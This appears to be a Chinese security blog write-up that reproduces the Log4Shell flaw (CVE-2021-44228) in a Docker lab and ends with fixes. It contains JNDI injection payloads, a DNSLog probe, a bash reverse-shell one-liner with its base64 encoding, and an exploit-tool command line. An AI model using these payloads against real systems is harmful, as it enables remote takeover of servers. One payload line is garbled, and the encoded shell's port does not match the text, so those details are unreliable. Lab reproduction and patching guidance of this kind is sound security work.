【漏洞复现】2.Apache Log4j2远程代码执行漏洞(CVE-2021-44228)复现及分析
文章目录
- 1. 预备知识
- 2. 漏洞复现
- 2.1 漏洞介绍
- 2.2 漏洞原理分析
- 2.2.1 Log4j介绍
- 2.2.2 JNDI介绍
- 2.2.3 利用原理
- 2.3 漏洞复现
- 2.3.1 使用docker搭建复现环境
- 2.3.2 DNSLog验证
- 2.3.3 JNDI注入反弹shell
- 2.4 漏洞修复
- 2.4.1修改log4j2版本
- 2.4.2 临时解决方案
1. 预备知识
Apache是一个广泛使用的开源软件基金会,该基金会维护和开发了许多中间件组件,这些组件在构建和管理Web应用程序方面非常有用。以下是Apache中间件的一些常见组件及其功能的介绍:
- Apache HTTP Server:Apache HTTP Server是世界上最流行的Web服务器之一。它是一个可靠、灵活且高性能的服务器软件,可用于托管和提供Web内容。Apache HTTP Server支持各种功能,如虚拟主机配置、模块扩展和安全性配置,可满足不同类型的Web应用程序的需求。
- Apache Tomcat:Apache Tomcat是一个开源的Java Servlet容器,用于托管和运行Java Web应用程序。它实现了Java Servlet和JavaServer Pages(JSP)规范,并提供了一个可靠的、高性能的Web应用程序运行环境。Tomcat支持多线程处理、会话管理和安全性配置,是许多Java Web应用程序的首选容器。
- Apache Kafka:Apache Kafka是一个高性能的分布式消息队列系统。它被设计用于处理大规模的实时数据流,并具有持久性、可扩展性和容错性等特点。Kafka可用于构建高吞吐量的数据管道、实时流处理应用程序和事件驱动的架构。
- Apache ZooKeeper:Apache ZooKeeper是一个开源的分布式协调服务,用于管理和维护分布式应用程序的配置信息、命名服务和分布式锁等。ZooKeeper提供了高可用性、一致性和可靠性的服务,使分布式应用程序可以协调和同步各个节点之间的操作。
- Apache ActiveMQ:Apache ActiveMQ是一个功能强大的开源消息中间件,实现了Java Message Service(JMS)规范。它支持可靠的消息传递、发布/订阅模式和点对点通信,可用于构建可靠的异步通信系统和消息驱动的应用程序。
Apache中间件的优势在于其广泛的社区支持、稳定性和可扩展性。这些中间件组件提供了丰富的功能和灵活的配置选项,使开发者能够构建可靠、高性能和可扩展的Web应用程序。同时,Apache中间件的文档资源丰富,有大量的示例和教程可供参考,使开发者能够更加轻松地使用和部署这些中间件。
2. 漏洞复现
2.1 漏洞介绍
Apache 是当今世界上非常流行的跨平台Web服务端,有着良好的扩充性。而Log4j则是Apache的开源组件,用于日志管理,功能强大。Log4j来源于 Apache 软件基金会的日志服务项目,是一种Java日志框架,从最初Log4j1发展到现在的Log4j2,已经广泛应用于各行各业的业务开发。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
攻击利用Log4j 2中Java JNDI注入漏洞,向服务器发送攻击数据包,当服务器在将数据写入日志时,就会触发远程执行。此方法被国外研究员称为Log4Shell,该漏洞目前已经影响了Apache多项组件,如ApacheSolr、Apache Struts2、Apache Druid、Apache Flink等。根据 漏洞排查结果,已确认服务器容易受到 Log4Shell 攻击的公司包括 Apple、Amazon、Twitter、Cloudflare、Steam、国内互联网、游戏公司、电商等。据统计,共有6921个应用使用了Log4j2组件,其中存储:ES、虚拟化:VMware、游戏:我的世界、安全工具:Ghidra均明确受到该漏洞影响。
远程代码执行攻击指的是攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
漏洞名称 | Log4j2远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2021-44228 |
危害等级 | 高危 |
CVSS评分 | 10 |
漏洞厂商 | Apache |
受影响版本 | Apache Log4j 2.x <= 2.14.1目前已知如下组件存在漏洞Spring-Boot-strater-log4j2/Apache Struts2/Apache Solr/Apache Flink/Apache Druid/ElasticSearc/Flume/Dubbo/Redis/Logstash/Kafka/vmvare |
2.2 漏洞原理分析
2.2.1 Log4j介绍
log4j2是apache下的java应用常见的开源日志库,是一个Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
2.2.2 JNDI介绍
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
2.2.3 利用原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
画个简单点的漏洞利用示意图,如下:
- 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
- 假如日志中含有该语句${jndi:ldap:X.X.X.X:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:X.X.X.X:1099/shell
- 解析到ldap,就会去X.X.X.X:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
- 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
- 攻击者就可以通过shell实现任意的命令执行,造成严重危害
2.3 漏洞复现
2.3.1 使用docker搭建复现环境
使用vulfocus提供的镜像容器对靶场进行搭建:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
浏览器访问http://192.168.71.128,部署成功
2.3.2 DNSLog验证
首先对网页进行抓包,看是否存在注入点,配置好端口后进行抓包。可以看到数据包内容如下:
注入位置在/hello目录下的一个payload位置,并且是get提交的数据,直接访问问号并抓包,就可以在改payload位置注入exp。
DNSLog在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。
将其发送到Repeater进行修改重放,通过DNSLog平台https://dig.pm获取到域名949cc308.ipv6.1433.eu.org.
构造payload: j n d i : l d a p : / / 949 c c 308. i p v 6.1433. e u . o r g ,浏览器点击 ? ? ? ? ? 并使用 B u r p s u i t e 进行抓包并替换 p a y l o a d 参数。其中 {jndi:ldap://949cc308.ipv6.1433.eu.org},浏览器点击?????并使用Burpsuite进行抓包并替换payload参数。其中 jndi:ldap://949cc308.ipv6.1433.eu.org,浏览器点击?????并使用Burpsuite进行抓包并替换payload参数。其中{jndi:ldap://XXX}是jndi注入,XXX是一个域名,其中本实验中是我们申请的免费域名。
此时若直接发包会导致服务器400错误:
通过Burpsuite自带的编码工具对其进行URL编码:
编码后再次发送请求包,此时请求成功:
在DNSLog网站成功接收到解析记录:
2.3.3 JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,下载地址https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0。这是一个JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可以用于Fastjson、Jackson等相关漏洞利用。
根据工具说明,采用如下命令对其进行利用:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中[-C] [command]为反弹shell指令,此处kali的ip为192.168.71.128,port可使用任意未被占用的端口,故任意指定为4444:
bash -i >& /dev/tcp/192.168.71.128/4444 0>&1
将此条命令进行Base 64编码,使用的是BurpSuite的Decoder模块,得到加密后的:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=
随后将加密后的shell命令通过-C参数输入JNDI工具,通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.71.128
开启新的窗口监听4444端口
替换工具生成的payload:rmi://192.168.71.128:1099/mrflzc 到Burpsuite,其中生成的链接后面的codebaseClass是6位随机的,因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTPserver返回相应class,更自动化了。HTTP server基于jetty实现的,本质上是一个能下载文件的servlet,比较有意思的是我提前编译好class模板放到resource目录,然后servlet会读取class文件,使用ASM框架对读取的字节码进行修改,然后插入我们想要执行的命令,返回修改后的字节码:
仍然注意要将payload进行编码:
可以看到Kali监听端成功获取到相关信息:
2.4 漏洞修复
2.4.1修改log4j2版本
据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是那个log4j-core包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。
2.4.2 临时解决方案
- 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
- 设置“log4j2.formatMsgNoLookups=True”
- 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
- 关闭对应应用的网络外连,禁止主动外连
相关文章:

【漏洞复现】2.Apache Log4j2远程代码执行漏洞(CVE-2021-44228)复现及分析
文章目录 1. 预备知识2. 漏洞复现2.1 漏洞介绍2.2 漏洞原理分析2.2.1 Log4j介绍2.2.2 JNDI介绍2.2.3 利用原理 2.3 漏洞复现2.3.1 使用docker搭建复现环境2.3.2 DNSLog验证2.3.3 JNDI注入反弹shell 2.4 漏洞修复2.4.1修改log4j2版本2.4.2 临时解决方案 1. 预备知识 Apache是一个…...

Simulink|局部遮荫下光伏组件多峰值PSO-MPPT控制
目录 主要内容 1.光伏电池工程数学模型的输出特性程序 2.普通扰动观察法进行MPPT 3.基于粒子群寻优的多峰输出特性 4.PSO_MPPT仿真模型 下载链接 主要内容 在实际的光伏发电系统中,由于环境多变等因素的影响,当局部出现被遮挡情况时光伏阵列…...

今日早报 每日精选15条新闻简报 每天一分钟 知晓天下事 3月21日,星期四
每天一分钟,知晓天下事! 2024年3月21日 星期四 农历二月十二 1、 教育部:2024年高考全国统考6月7日、8日举行,将专项整治手机作弊、严打高考移民。 2、 我国出台首部节约用水行政法规《节约用水条例》,5月1日起施行。…...

蓝桥杯Python B组练习——完美的代价
一、题目 问题描述 回文串,是一种特殊的字符串,它从左往右读和从右往左读是一样的。小龙龙认为回文串才是完美的。现在给你一个串,它不一定是回文的,请你计算最少的交换次数使得该串变成一个完美的回文串。 交换的定义是…...

分布式游戏服务器
1、概念介绍 分布式游戏服务器是一种专门为在线游戏设计的大型系统架构。这种架构通过将游戏服务器分散部署到多台计算机(节点)上,实现了数据的分散存储和计算任务的并行处理。每个节点都负责处理一部分游戏逻辑和玩家请求,通过高…...
idea中常见快捷键及插件操作
1、双击shift【万能】 (1)输入pull,回车可以更新代码 (2)输入commit,回车可以提交代码 (3)输入history,可以查看提交记录 (4)输入break,回车可以查…...

理解树的结构-算法通关村
理解树的结构-算法通关村 1.树的结构 树是一个有n个有限节点组成一个具有层次关系的集合,每个节点有0个或者多个子节点,没有父节点的节点称为根节点,也就是说除了根节点以外每个节点都有父节点,并且有且只有一个。树的种类比较多…...

金融知识分享系列之:支撑阻力
金融知识分享系列之:支撑阻力 一、支撑阻力原理二、支撑阻力作用1.识别市场资金的预期2.作为入场和平仓的重要参考 三、寻找支撑阻力四、延伸思考五、支撑阻力总结 一、支撑阻力原理 支撑阻力核心要素: 锚定效应订单驱动 支撑阻力原理: 市…...

如何使用Excel创建一个物品采购表
在企业的日常运营中,物品采购是一个常见且重要的活动。有效的采购管理不仅可以确保企业及时获得所需物资,还可以控制成本、提高效率。Microsoft Excel是一个功能强大的工具,它可以帮助我们创建和管理物品采购表。本文将详细介绍如何使用Excel…...

容器中的大模型(三)| 利用大语言模型:容器化高效地部署 PDF 解析器实践...
作者:宋文欣,智领云科技联合创始人兼CTO 01 简介 大语言模型(LLMs)正逐渐成为人工智能领域的一颗璀璨明星,它们的强大之处在于能够理解和生成自然语言,为各种应用提供了无限可能。为了让这些模型更好地服务…...
java采集小程序联合航空官方
本文仅限学习研究讨论,切忌做非法乱纪之事 中国联合航空有限公司(以下简称“中国联合航空”)总部位于北京,现为中国东方航空股份有限公司(以下简称“东航”)旗下的全资子公司。中国联合航空成立于1986年12月26日&#…...
【力扣每日一题】lc1793. 好子数组的最大分数(单调栈)
LC1793. 好子数组的最大分数 题目描述 给你一个整数数组 nums (下标从 0 开始)和一个整数 k 。 一个子数组 (i, j) 的 分数 定义为 min(nums[i], nums[i1], ..., nums[j]) * (j - i 1) 。 一个 好 子数组的两个端点下标需要满足 i < k < j 。 请…...

ES的集群节点发现故障排除指南(1)
本文是ES官方文档关于集群节点发现与互联互通的问题排查指南内容。 英文原文(官网) 集群节点发现是首要任务 集群互连,重中之重! 在大多数情况下,发现和选举过程会迅速完成,并且主节点会长时间保持当选状…...

使用html+css制作一个发光立方体特效
使用htmlcss制作一个发光立方体特效 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>Documen…...

贵州省二级分类土地利用数据(矢量)
贵州省,地处中国西南腹地,地貌属于中国西南部高原山地,境内地势西高东低,自中部向北、东、南三面倾斜,平均海拔在1100米左右。贵州高原山地居多,素有“八山一水一分田”之说。全省地貌可概括分为࿱…...

通过nginx+xray服务搭建及本地配置
一、xray服务配置 下载:https://github.com/XTLS/Xray-core 进入下载界面 这里我选择的是Xray-linux-64.zip 将文件解压到 /usr/local/xray 编辑配置文件/usr/local/xray/config.json uuid可以在v2ray客服端自动生成,也可以在UUID v4 生成器 - KKT…...

第一节 Axure RP产品经理原型进阶学习
第一天 1、认识RP9 Axure RP 9,Axure RP 9是美国 Axure Software Solution公司的旗舰产品, 是一个快速的原型工具,常用于各项网络设计,包括了原型图、线框图等等。 要进行原型设计,将文字性文档转变为互动性的可视画…...
Linux实战笔记(三) 文件压缩
大家好,我是半虹,这篇文章来讲 Linux 系统中常用的文件压缩方式 0、序言 在 Linux 系统中,存在许多打包或压缩文件的工具 这篇文章会对一些常用的工具进行分类整理和介绍 如果只是需要知道怎么对不同格式的文件做解压缩,可以直…...
树形递归模板
详情参考CSDN链接: https://www.cnblogs.com/lidar/p/12972792.html public class Menu {// 菜单idprivate String id;// 菜单名称private String name;// 父菜单idprivate String parentId;// 菜单urlprivate String url;// 菜单图标private String icon;// 菜单顺序private …...
Python实战:Pandas数据合并与重塑
本文将深入探讨Pandas库在数据合并与重塑方面的强大功能。我们将涵盖多种数据合并方法,如merge、join、concat等,以及数据重塑的技巧,如pivot_table、merge_asof等。 一、引言 Pandas是一个强大的Python数据分析库,它提供了丰富…...
生成xcframework
打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式,可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

黑马Mybatis
Mybatis 表现层:页面展示 业务层:逻辑处理 持久层:持久数据化保存 在这里插入图片描述 Mybatis快速入门 
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...

LeetCode - 394. 字符串解码
题目 394. 字符串解码 - 力扣(LeetCode) 思路 使用两个栈:一个存储重复次数,一个存储字符串 遍历输入字符串: 数字处理:遇到数字时,累积计算重复次数左括号处理:保存当前状态&a…...

1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...

ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...

C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...

算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...

AirSim/Cosys-AirSim 游戏开发(四)外部固定位置监控相机
这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机,因为在使用过程中发现 Airsim 对外部监控相机的描述模糊,而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置,最后在源码示例中找到了,所以感…...

三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...